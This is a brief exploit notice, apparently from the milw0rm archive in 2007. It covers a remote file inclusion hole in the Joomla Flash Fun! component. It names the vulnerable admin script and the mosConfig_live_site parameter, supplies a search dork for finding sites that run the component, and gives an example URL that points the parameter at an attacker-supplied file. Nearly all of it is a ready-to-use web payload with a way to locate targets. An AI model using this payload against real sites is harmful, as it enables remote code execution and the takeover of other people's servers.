18 lines
No EOL
486 B
Text
18 lines
No EOL
486 B
Text
######################################
|
|
# Joomla Flash Fun! Component RFI #
|
|
######################################
|
|
|
|
Bug in :
|
|
/administrator/components/com_joomlaflashfun/admin.joomlaflashfun.php?mosConfig_live_site=
|
|
Variable : $mosConfig_live_site
|
|
|
|
Dork: "com_joomlaflashfun"
|
|
|
|
Example:
|
|
|
|
http://xxx.net/2007/administrator/components/com_joomlaflashfun/admin.joomlaflashfun.php?mosConfig_live_site=[attacker]
|
|
|
|
|
|
Greets to all Irc.RealWorm.Net #Morgan Users ;)
|
|
|
|
# milw0rm.com [2007-09-15] |